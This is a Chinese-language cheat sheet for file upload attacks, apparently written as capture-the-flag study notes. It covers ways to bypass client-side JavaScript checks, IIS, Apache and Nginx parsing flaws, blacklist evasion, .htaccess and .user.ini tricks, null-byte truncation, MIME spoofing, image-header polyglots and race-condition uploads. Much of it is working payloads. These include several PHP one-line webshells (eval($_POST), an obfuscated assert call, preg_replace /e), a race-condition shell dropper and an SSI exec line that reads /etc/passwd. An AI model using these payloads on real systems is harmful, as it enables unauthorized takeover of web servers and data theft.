文件上传(总结和缝合)

写在前面:

文件上传漏洞常用于获取webshell,从而取得对目标网站(系统)的控制权。要获取shell,需要: 1.知道上传后文件所保存位置(不知道那就猜、爆破,一般是能知道的) 2.上传后文件的名字(是否被更改)

一句话木马(webshell):

1
<?php eval($_POST['passwd']);?>

一句话木马原理及不同类型:https://baike.baidu.com/item/%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC/1845646?fr=aladdin

毫无过滤

  • 直接上传即可获取webshell
    两种校验方式

  • 客户端校验(javascript校验)

  • 服务端校验
    客户端校验:

绕过方法

  • 抓包改包

  • 禁用JS
    禁用JS

  • 如果是弹窗提示,打开控制台->网络,上传时没有请求发出去,说明是在本地校验

  • 火狐插件-yescript2

  • 老版本可以使用WebDeveloper
    抓包改包

  • 用bp抓包后直接改后缀名
    绕过js过滤:

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传jpg、png、gif结尾的图片噢!";
alert(errMsg);
return false;
}
}

绕过方式:

  • 在控制台重新定义函数 function checkFile(){} 回车即可(注:需要在未触发该函数前)
  • 将一句话木马文件后缀改为.png .jpg .gif后,点击上传。用BurpSuite截断,然后将文件名再替换成.php
    后端过滤:

利用解析漏洞绕过

* `IIS`解析漏洞

IIS 6.0在解析文件时存在以下两个解析漏洞。
当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当做asp文件来解析。
例如:建立文件夹parsing.asp,在parsing.asp文件夹内新建一个文本文档test.txt,其内容为<%=NOW()%>,然后在浏览器内访问。
“NOWO”是ASP提供获取当前时间的函数,TXT是文本文档格式,IIS是不会去解析此类文件的,应该会直接显示其内容,而在parsing.asp文件夹中,却被当作ASP脚本来解析。
当文件为*.asp;1.jpg时,IIS6.0同样会以ASP脚本来执行,如:新建文件test.asp;1.jpg,内容为<%=NOW()%>。
* Apache解析漏洞
Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断,如xxx.php.owf.rar ,”.owf”和”.rar”这两种后缀是apache解析不了的,apache就会把xxx.php.owf.rar解析成php。
怎么去判断是不是合法的后缀就是这个漏洞利用关键,测试时把常见的后缀都写上,去测试是不是合法,任意不识别的后缀,逐级向上识别。
有些程序开发人员在上传文件时,判断文件名是否是PHP、ASP、ASPX、ASA、CER、ASPX等脚本扩展名,如果是,则不允许上传,这时攻击者就有可能上传1.php.rar等扩展名来绕过程序检测,并配合解析漏洞,获取到WebShell。
* Nginx解析漏洞
解析: (任意文件名)/(任意文件名).php | (任意文件名)%00.php
描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。

猜测过滤规则绕过:

  • 文件后缀名黑名单:

  • 大小写绕过 Php、PhP···

  • 利用能被解析的后缀名,例如php、php3、php4、php5、php7、pht、phtml、phps

  • 配合Apache的.htaccess文件上传解析,该文件可以理解为Apache的分布式配置文件,在一个特定的文档中放置,以作用于此目录及其所有子目录。管理员可以通过Apache的AllowOverride指令来设置/etc/apache2/apache2.conf,默认是NONE,需要为ALL

    1
    2
    3
    <FilesMatch "xxx.jpg">
    SetHandler application/x-httpd-php
    </FilesMacth>

    假如不能写<?时使用伪协议

    1
    2
    AddType application/x-httpd-php .123
    php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.123"
  • .user.ini上传
    条件:

  • 1、服务器脚本语言为PHP

  • 2、服务器使用CGI/FastCGI模式

  • 3、上传目录下要有可执行的php文件
    优势:跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache

刷题记录:[SUCTF 2019]CheckIn

  • 使用00截断(需要magic_quotes_gpc=Off)
    基于一个组合逻辑漏洞

    1
    2
    3
    4
    name = getname(http request)//假如这时候获取到的文件名是test.asp.jpg(asp后面为0x00)
    type = gettype(name)//而在gettype()函数里处理方式是从后往前扫描扩展名,所以判断为jpg
    if(type==jpg)
    SaveFileToPath(UploadPath.name,name)

    在第一个后缀名后加一个空格(0x20),使用bp->repeater->hex,将其改成0x00

  • 超长文件名截断上传(windows 258byte | linux 4096byte)
    使用./或.

  • shtml
    当Web服务器为Apache和IIS(支持SSI功能的服务器)且开启了SSI与CGI支持
    <!--#exec cmd="cat /etc/passwd"-->

  • MIME类型绕过

    BurpSuite抓包,更改content-type请求头为image/gif、image/png、image/jpg

  • 图片马内容检测
    根据过滤内容来调整,例如<?被过滤,调整为<% eval request("123")%>等等

  • 文件内容头检测
    上述方法均失效时可以考虑一下网站是否检测了文件头

解决方法1:添加图片文件头到木马文件

GIF89a? <% eval request("123")%>

文件头对照参考:https://blog.csdn.net/rrrfff/article/details/7484109

解决方法2:将一张图片与一句话木马文件结合

1.记事本打开图片,在末尾或者之中添加一句话木马 2.使用命令将图片与木马文件结合

https://jingyan.baidu.com/article/a65957f42c7c1224e67f9bb1.html

1
2
例子:GIF89a
<?php phpinfo(); ?>
  • 竞争上传
    文件上传后,网站系统会对文件进行恶意代码检测,若是存在恶意代码,则会删除该文件

若在这个操作的时间之内,访问该上传的文件,利用之间的时间差来获取shell

1
2
3
4
5
<?php
$file = 'web.php';
$shell = '<?php eval($_POST["key"])?>';
file_put_contents($file,$shell);
?>

.user.ini 利用 (注:上传目录下要有可执行的php文件,一般是自带的,而不是自己上传的,要是可以的话,还需要这么多骚操作干什么)
大佬教程:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

例子

https://github.com/backlion/demo/blob/master/lfi_phpinfo.py

  • Apache的.htaccess
    教程:https://www.cnblogs.com/hmbb/p/9689436.html

  • php崩溃导致tmp文件保留
    当存在include的时候,传入file=php://filter/string.strip_tags/resource=/etc/passwd会导致Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除。但是这时还需要知道tmp目录下的文件名

  • 过滤<?php
    js标签绕过,需要php小于7.0

1
2
3
4
5
<script language="PHP">
$fh=fopen("../flag.".strtolower("PHP"),'r');
echo fread($fh,filesize("../flag.".strtolower("PHP")));
fclose($fh);
</script>

PHP开启短标签即short_open_tag=on时,可以使用<?=$_?>输出变量,在PHP 5.4 之后默认支持
常见的一句话木马(PHP):

  • GIF89a? <script language="php">eval($_REQUEST[shell])</script> 比较好用
  • <script language=php>system("ls")</script>
  • <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?> //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入"h=@eval($_POST[c]);"
  • <?php $c='ass'.'ert';${c}($_POST[4]);?>

常见文件名对应的MIME类型:

* 扩展名:gif MIME类型:image/gif
* 扩展名:png MIME类型:image/png
* 扩展名:jpg MIME类型:image/jpg
* 扩展名:js MIME类型:text/javascript
* 扩展名:htm MIME类型:text/html
* 扩展名:html MIME类型:text/html

参考网站:

https://blog.csdn.net/qq_42636435/article/details/88096844

https://xz.aliyun.com/t/7531

https://www.cnblogs.com/20175211lyz/p/10989689.html

https://blog.csdn.net/weixin_39190897/article/details/85334893